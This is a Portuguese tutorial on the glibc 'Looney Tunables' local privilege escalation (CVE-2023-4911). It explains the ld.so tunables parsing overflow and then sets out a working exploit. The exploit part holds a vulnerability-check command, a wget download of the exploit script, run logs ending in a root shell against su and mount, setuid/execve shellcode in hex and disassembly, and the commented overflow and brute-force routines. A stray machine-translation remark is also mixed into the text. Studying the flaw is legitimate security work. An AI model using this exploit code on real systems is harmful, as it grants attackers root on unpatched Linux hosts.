
Workshop de escalada local de privilégios Looney Tunables (CVE-2023-4911)
Looney Tunables: workshop de escalada de privilégio local (CVE-2023-4911) (apenas para fins educacionais)
Em computação, um vinculador dinâmico é a parte de um sistema operacional que carrega e vincula as bibliotecas compartilhadas necessárias para um executável quando ele é executado, copiando o conteúdo das bibliotecas do armazenamento persistente para a memória RAM, preenchendo tabelas de desvio e realocando ponteiros.
Por exemplo, temos um programa que usa a biblioteca openssl para calcular o hash md5:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so analisa o binário e tenta encontrar a biblioteca relacionada a <openssl/md5.h>```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
Como podemos ver, ela encontra a biblioteca de criptografia necessária em /lib/x86_64-linux-gnu/libcrypto.so.3 Durante a inicialização do programa, ela coloca o código dessa biblioteca na RAM do processo e vincula todas as referências a essa biblioteca.
Quando um programa é iniciado, este carregador primeiro examina o programa para determinar as bibliotecas compartilhadas de que necessita. Em seguida, ele procura por essas bibliotecas, carrega-as na memória e as vincula ao executável em tempo de execução. No processo, o carregador dinâmico resolve referências de símbolos, como referências a funções e variáveis, garantindo que tudo esteja pronto para a execução do programa. Devido ao seu papel, o carregador dinâmico é altamente sensível à segurança, pois seu código é executado com privilégios elevados quando um usuário local executa um programa set-user-ID ou set-group-ID.
Tunables são um recurso da GNU C Library que permite que autores de aplicativos e mantenedores de distribuições alterem o comportamento da biblioteca em tempo de execução para corresponder à sua carga de trabalho. Eles são implementados como um conjunto de interruptores que podem ser modificados de diferentes maneiras. O método padrão atual para fazer isso é por meio da variável de ambiente GLIBC_TUNABLES, definindo-a como uma string de pares name=value separados por dois-pontos. Por exemplo, o exemplo a seguir ativa a verificação de malloc e define o limite de trim do malloc para 128 bytes:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES
Passar `--list-tunables` ao carregador dinâmico para imprimir todos os tunables com valores mínimos e máximos:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
No início da sua execução, o ld.so chama __tunables_init() para percorrer o ambiente (na linha 279), procurando por variáveis GLIBC_TUNABLES (na linha 282); para cada GLIBC_TUNABLES que encontra, faz uma cópia desta variável (na linha 284), chama parse_tunables() para processar e sanitizar esta cópia (na linha 286) e, por fim, substitui o GLIBC_TUNABLES original por esta cópia sanitizada (na linha 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
O primeiro argumento de parse_tunables() (tunestr) aponta para a cópia prestes a ser saneada de GLIBC_TUNABLES, enquanto o segundo argumento (valstring) aponta para a variável de ambiente original GLIBC_TUNABLES (na pilha). Para sanear a cópia de GLIBC_TUNABLES (que deve estar na forma "tunable1=`aaa:tunable2=bbb"`), parse_tunables() remove todos os tunables perigosos (os tunables SXID_ERASE) de tunestr, mas mantém os tunables SXID_IGNORE e NONE (nas linhas 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
Infelizmente, se uma variável de ambiente GLIBC_TUNABLES tiver a forma "tunable1=tunable2=AAA" (onde "tunable1" e "tunable2" são tunables SXID_IGNORE, por exemplo "glibc.malloc.mxfast"), então:
durante a primeira iteração do "while (true)" em parse_tunables(), a string inteira "tunable1=tunable2=AAA" é copiada in-place para tunestr (nas linhas 221-235), preenchendo assim tunestr;
nas linhas 247-248, p não é incrementado (p[len] é '\0' porque nenhum ':' foi encontrado nas linhas 203-204) e, portanto, p ainda aponta para o valor de "tunable1", ou seja, "tunable2=AAA";
durante a segunda iteração do "while (true)" em parse_tunables(), "tunable2=AAA" é anexado (como se fosse uma segunda tunable) a tunestr (que já está cheio), causando assim o estouro de tunestr.
Comando:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
Payload:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
Esta vulnerabilidade é um estouro de buffer direto, mas o que devemos sobrescrever para conseguir execução arbitrária de código? O buffer que transbordamos é alocado na linha 284 por tunables_strdup(), uma reimplementação de strdup() que usa o __minimal_malloc() do ld.so em vez do malloc() da glibc (na verdade, o malloc() da glibc ainda não foi inicializado). Esta implementação de __minimal_malloc() simplesmente chama mmap() para obter mais memória do kernel.
Vamos dar uma olhada neste código:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */
##### Sobrescrevendo ponteiros da estrutura link_map que será alocada em breve
>ld.so aloca a memória para essa estrutura link_map com calloc() e, portanto, não inicializa explicitamente vários de seus membros como zero; isso é uma otimização razoável. Como mencionado anteriormente, calloc() aqui não é o calloc() da glibc, mas o __minimal_calloc() do ld.so, que chama __minimal_malloc() *sem* inicializar explicitamente a memória que retorna como zero; isso também é uma otimização razoável, porque, para todos os efeitos, __minimal_malloc() sempre retorna um bloco limpo de memória mmap()ada, que é garantido como inicializado em zero pelo kernel.
>
> Infelizmente, o estouro de buffer em parse_tunables() nos permite sobrescrever memória mmap()ada limpa com bytes diferentes de zero, sobrescrevendo assim ponteiros da estrutura link_map que será alocada em breve com valores não-NULL. Isso nos permite quebrar completamente a lógica do ld.so, que assume que esses ponteiros são NULL.
#### Ideia do Estouro
> Percebemos que muitos outros ponteiros na estrutura link_map não são inicializados explicitamente como NULL; em particular, os ponteiros para estruturas Elf64_Dyn no array de ponteiros l_info[]. Entre eles, `l_info[DT_RPATH]`, o "caminho de busca de bibliotecas", destacou-se imediatamente: se sobrescrevermos esse ponteiro e controlarmos para onde e para o que ele aponta, então podemos forçar o ld.so a confiar em um diretório que possuímos e, portanto, carregar nossa própria libc.so.6 ou biblioteca LD_PRELOAD desse diretório, e executar código arbitrário (como root, se executarmos o ld.so por meio de um programa SUID-root).
> Para onde o l_info[DT_RPATH] sobrescrito deve apontar? A resposta fácil para essa pergunta é: a pilha; mais precisamente, nossas strings de ambiente na pilha. No Linux, a pilha é randomizada em uma região de 16GB, e nossas strings de ambiente podem ocupar até 6MB (_STK_LIM / 4 * 3, no bprm_stack_limits() do kernel): após 16GB / 6MB = 2730 tentativas, temos uma boa chance de adivinhar o endereço de nossas strings de ambiente (em nosso exploit, sempre sobrescrevemos `l_info[DT_RPATH]` com 0x7ffdfffff010, o centro da região de pilha randomizada). Em nossos testes, essa força bruta leva ~30s no Debian e ~5m no Ubuntu e Fedora (por causa de seus manipuladores automáticos de crash, Apport e ABRT; não tentamos contornar essa lentidão).
> Para onde deve apontar o l_info[DT_RPATH] sobrescrito?
> Em nosso exploit, simplesmente preenchemos nossos 6MB de strings de ambiente com 0xfffffffffffffff8 (-8), porque em um offset de -8B abaixo da tabela de strings da maioria dos programas SUID-root, a string "\x08" aparece: isso força o ld.so a confiar em um diretório relativo chamado "\x08" (em nosso diretório de trabalho atual) e, portanto, nos permite carregar e executar nossa própria libc.so.6 ou biblioteca LD_PRELOAD a partir desse diretório, como root.
Esquema:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### "\x08" byte no offset -8 em .DYNSTR:

## PoC LPE:
Estou usando meu antigo snapshot do Kali Linux para testar o PoC. Vamos verificar se ele está vulnerável:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1] 7995 segmentation fault env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" /usr/bin/s
Obtivemos SIGSEGV, portanto nosso sistema é vulnerável a este CVE LPE!
Vamos baixar o script PoC e testá-lo:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
Então, nosso ld.so build id não está na lista de alvos, vamos corrigir isso!
Desative o ASLR:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
Verifique novamente:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
Então, nosso script POC encontra algum offset útil, vamos adicionar nosso build id do ld.so e o offset ao script:

Restaurar o ASLR:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"
Vamos tentar o script PoC novamente:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami root
uid=0(root)
Funciona!
Também está funcionando com outros arquivos SUID:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>
O conteúdo de entrada está vazio — nenhum texto foi fornecido para tradução neste chunk.``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id uid=0(root)
### Então, vamos olhar para o script de PoC:
No início do script de PoC temos o dicionário ARCH com algumas **arquiteturas de processador** (deixei apenas x86_64, pois é o que uso).
Neste dicionário temos
* "shellcode": para gerar ""/bin/sh" com privilégios de root
* "exitcode": também é shellcode, mas executa exit(0x66)
* "stack_top": é o endereço máximo possível da pilha em x86_64
* "stack_aslr_bits": são os bits de entropia em x86_64 (bits alterados pelo ASLR)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
ARCH = {
"x86_64": {
"shellcode": unhex(
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode": unhex("6a665f6a3c580f05"), # asm(shellcraft.exit(0x66)).hex()
"stack_top": 0x800000000000,
"stack_aslr_bits": 30, # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}
Desmontagem de shellcode```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall
7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall
e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall
Exitcode desmontar```nasm
0: 6a 66 push 0x66
2: 5f pop rdi
3: 6a 3c push 0x3c
5: 58 pop rax
6: 0f 05 syscall
Em seguida, temos um dicionário com alvos (build id do ld.so) e seus offsets de buffer overflow.```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }
Então, há muitas funções que são nomeadas pelo que fazem e, na maioria das vezes, podem ser substituídas por métodos da biblioteca pwntools.
Portanto, não vejo sentido em discuti-las em detalhe, exceto algumas delas.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):
# heap meh shui
if bits == 64:
env = [ # Actual vulnerability exploit (buffer overflow)
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
pad = 172
fill = 47
else:
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
]
pad = 87
fill = 47 * 2
for j in range(pad): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
if bits == 64: # overwrite l_info[DT_RPATH] pointer with pointer to stack
env.append(struct.pack("<Q", addr))
env.append(b"")
else:
env.append(struct.pack("<L", addr))
for i in range(384): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
for i in range(fill): # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
if bits == 64:
env.append(
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
)
else:
env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)
env.append(None)
return env
if __name__ == "__main__":
banner() # just print bunner
machine = os.uname().machine # uname of machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode()) # print libc path
if len(sys.argv) == 1: # check if user pass SUID binary as args, if no use "su" binary
suid_path = which("su")
suid_args = ["--help"]
else:
suid_path = sys.argv[1]
suid_args = sys.argv[2:]
lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8 # Some value
print(f"[DEBUG] -> LSB: {lsb}")
print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args)) # print suid binary path with args
suid_e = lazy_elf(suid_path) # generate lazy_elf object with SUID binary
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode() # get ld_path from suid binary .interp section
ld_e = lazy_elf(ld_path) # generate lazy_elf object with ld.so binary
print("[i] ld.so = %s" % ld_path) # print ld.so path
ld_build_id = binascii.hexlify( # get ld.so build id from ".note.gnu.build-id" section
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id) # print ld.so build id
libc_e = lazy_elf(lib_path("c")) # generate lazy_elf object with libc.so.6 binary
__libc_start_main = libc_e.symbol("__libc_start_main") # find offset of __libc_start_main function in libc
if __libc_start_main == None: # if can't find __libc_start_main
error("could not resolve __libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main) # print offset of __libc_start_main
offset = suid_e.shdr_by_name(".dynstr")["offset"] # Find offset of .dynstr section
print(f"[DEBUG] -> .DYNSTR offset: {offset}")
hax_path = find_hax_path(suid_e.d, offset) # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
if hax_path is None: # error if not find hax
error("could not find hax path")
print( # print hax
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if not os.path.exists(hax_path["path"]): # create folder ("\x08" to place libc there later)
os.mkdir(hax_path["path"])
argv = build_argv([suid_path] + suid_args) # just get array of arguments ( ["su", "--help", None] )
shellcode = ( # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
)
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh: # open folder "\x08" and write patched (with shellcode) libc.so.6 there
fh.write(libc_e.d[0:__libc_start_main]) # all before __libc_start_main
fh.write(shellcode) # shellcode
fh.write(libc_e.d[__libc_start_main + len(shellcode) :]) # all after shellcode
print("[i] wrote patched libc.so.6")
if not is_aslr_enabled(): # if ASLR is not enabled
print("[i] ASLR is not enabled, attempting to find usable offsets")
stack_addr = ARCH[machine]["stack_top"] - 0x1F00
stack_addr += lsb
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
r = spawn(suid_path.encode(), argv, env)
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
if ld_build_id not in TARGETS.keys(): # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
error("no target info found for build id %s" % ld_build_id)
stack_addr = ARCH[machine]["stack_top"] - ( # calculate minimum address of stack
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
# In [11]: hex(1 << 29)
# Out[11]: '0x20000000'
# In [12]: hex(0x800000000000 - 0x20000000)
# Out[12]: '0x7fffe0000000'
print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
stack_addr += lsb
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6 if suid_e.bits == 64 else 4): # some calculations to find usable offset in stack
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env( # create malicious environment variables (with overflow and stack overwrite)
TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
)
# print(f"[DEBUG] -> ENV: {env}")
cnt = 1
while True:
if cnt % 0x10 == 0: # print "." every 10 executions
sys.stdout.write(".")
sys.stdout.flush()
if spawn(suid_path.encode(), argv, env) == 0x1337: # spawn process of SUID with malicious environment variables
print("goodbye. (took %d tries)" % cnt)
exit(0)
cnt += 1
Tabela com entropia de ASLR em diferentes arquiteturas:
